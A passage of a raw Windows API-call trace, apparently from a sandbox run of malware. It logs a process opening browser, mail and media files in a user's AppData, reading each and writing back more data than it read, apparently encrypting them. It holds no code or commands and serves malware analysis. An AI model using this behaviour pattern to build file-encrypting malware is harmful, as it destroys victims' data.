cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Shortcuts", lpUsedDefaultChar=0x0) returned 9 [0057.495] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.497] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2000 [0057.497] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.497] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2000 [0057.497] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.497] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0057.498] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0057.498] CloseHandle (hObject=0x1bc) returned 1 [0057.498] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0057.499] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.499] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1400 [0057.499] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.499] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.499] ReleaseMutex (hMutex=0x128) returned 1 [0057.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Safe Browsing Channel IDs", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0057.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Safe Browsing Channel IDs", cchWideChar=25, lpMultiByteStr=0x1e7fb4c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Safe Browsing Channel IDs", lpUsedDefaultChar=0x0) returned 25 [0057.499] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f2bc*=0x1400, lpOverlapped=0x0) returned 1 [0057.501] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.501] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1988, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f2d0*=0x1988, lpOverlapped=0x0) returned 1 [0057.501] CloseHandle (hObject=0x1bc) returned 1 [0057.501] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0057.502] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.502] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x43 [0057.502] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.502] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.502] ReleaseMutex (hMutex=0x128) returned 1 [0057.502] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0057.502] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e62fcc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0057.502] ReadFile (in: hFile=0x1bc, lpBuffer=0x1eaaae8, nNumberOfBytesToRead=0x43, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaae8*, lpNumberOfBytesRead=0x304f2bc*=0x43, lpOverlapped=0x0) returned 1 [0057.503] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.503] WriteFile (in: hFile=0x1bc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5cb, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x304f2d0*=0x5cb, lpOverlapped=0x0) returned 1 [0057.504] CloseHandle (hObject=0x1bc) returned 1 [0057.504] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\04_music_played_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0057.504] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.504] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x504 [0057.504] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.504] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.504] ReleaseMutex (hMutex=0x128) returned 1 [0057.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="04_Music_played_in_the_last_month.wpl", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0057.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="04_Music_played_in_the_last_month.wpl", cchWideChar=37, lpMultiByteStr=0x1eb2084, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="04_Music_played_in_the_last_month.wpl", lpUsedDefaultChar=0x0) returned 37 [0057.504] ReadFile (in: hFile=0x1bc, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x504, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x304f2bc*=0x504, lpOverlapped=0x0) returned 1 [0057.506] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.506] WriteFile (in: hFile=0x1bc, lpBuffer=0x280f3b8*, nNumberOfBytesToWrite=0xa8c, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x280f3b8*, lpNumberOfBytesWritten=0x304f2d0*=0xa8c, lpOverlapped=0x0) returned 1 [0057.506] CloseHandle (hObject=0x1bc) returned 1 [0057.507] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0057.507] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.507] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4ff [0057.507] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.507] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.507] ReleaseMutex (hMutex=0x128) returned 1 [0057.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="02_Music_added_in_the_last_month.wpl", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0057.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="02_Music_added_in_the_last_month.wpl", cchWideChar=36, lpMultiByteStr=0x1eb2084, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="02_Music_added_in_the_last_month.wpl", lpUsedDefaultChar=0x0) returned 36 [0057.507] ReadFile (in: hFile=0x1bc, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x4ff, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x304f2bc*=0x4ff, lpOverlapped=0x0) returned 1 [0057.509] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.509] WriteFile (in: hFile=0x1bc, lpBuffer=0x280f3b8*, nNumberOfBytesToWrite=0xa87, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x280f3b8*, lpNumberOfBytesWritten=0x304f2d0*=0xa87, lpOverlapped=0x0) returned 1 [0057.509] CloseHandle (hObject=0x1bc) returned 1 [0057.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0057.509] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.509] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x437 [0057.509] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.510] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.510] ReleaseMutex (hMutex=0x128) returned 1 [0057.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="12_All_Video.wpl", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0057.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="12_All_Video.wpl", cchWideChar=16, lpMultiByteStr=0x1e786cc, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="12_All_Video.wpl", lpUsedDefaultChar=0x0) returned 16 [0057.510] ReadFile (in: hFile=0x1bc, lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x437, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x304f2bc*=0x437, lpOverlapped=0x0) returned 1 [0057.610] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.610] WriteFile (in: hFile=0x1bc, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x9bf, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x304f2d0*=0x9bf, lpOverlapped=0x0) returned 1 [0057.610] CloseHandle (hObject=0x1bc) returned 1 [0057.610] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\windowsmail.pat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0057.610] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.610] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4000 [0057.611] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.611] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.611] ReleaseMutex (hMutex=0x128) returned 1 [0057.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMail.pat", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0057.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMail.pat", cchWideChar=15, lpMultiByteStr=0x1e633ec, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMail.pat", lpUsedDefaultChar=0x0) returned 15 [0057.611] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.668] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3000 [0057.668] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.669] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3000 [0057.669] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.672] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0057.672] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0057.672] CloseHandle (hObject=0x1bc) returned 1 [0057.672] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0057.673] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.673] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xe8 [0057.673] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.673] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.673] ReleaseMutex (hMutex=0x128) returned 1 [0057.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Peacock.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0057.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Peacock.htm", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Peacock.htm", lpUsedDefaultChar=0x0) returned 11 [0057.673] ReadFile (in: hFile=0x1bc, lpBuffer=0x2737c58, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737c58*, lpNumberOfBytesRead=0x304f2bc*=0xe8, lpOverlapped=0x0) returned 1 [0057.674] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.674] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x670, lpOverlapped=0x0) returned 1 [0057.674] CloseHandle (hObject=0x1bc) returned 1 [0057.674] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\0B619d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\c2\\0b619d01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0057.675] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.675] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xaa05 [0057.675] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.675] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.675] ReleaseMutex (hMutex=0x128) returned 1 [0057.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0B619d01", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0057.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0B619d01", cchWideChar=8, lpMultiByteStr=0x1e6334c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0B619d01", lpUsedDefaultChar=0x0) returned 8 [0057.675] ReadFile (in: hFile=0x1bc, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0057.677] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x9a05 [0057.677] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.678] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x9a05 [0057.678] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.678] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0057.678] WriteFile (in: hFile=0x1bc, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0057.679] CloseHandle (hObject=0x1bc) returned 1 [0057.679] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\7E0FEd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\23\\7e0fed01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0057.679] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.679] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xf888 [0057.679] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.679] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.680] ReleaseMutex (hMutex=0x128) returned 1 [0057.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7E0FEd01", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0057.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7E0FEd01", cchWideChar=8, lpMultiByteStr=0x1e633ec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7E0FEd01", lpUsedDefaultChar=0x0) returned 8 [0057.680] ReadFile (in: hFile=0x1bc, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0057.681] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xe888 [0057.682] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, 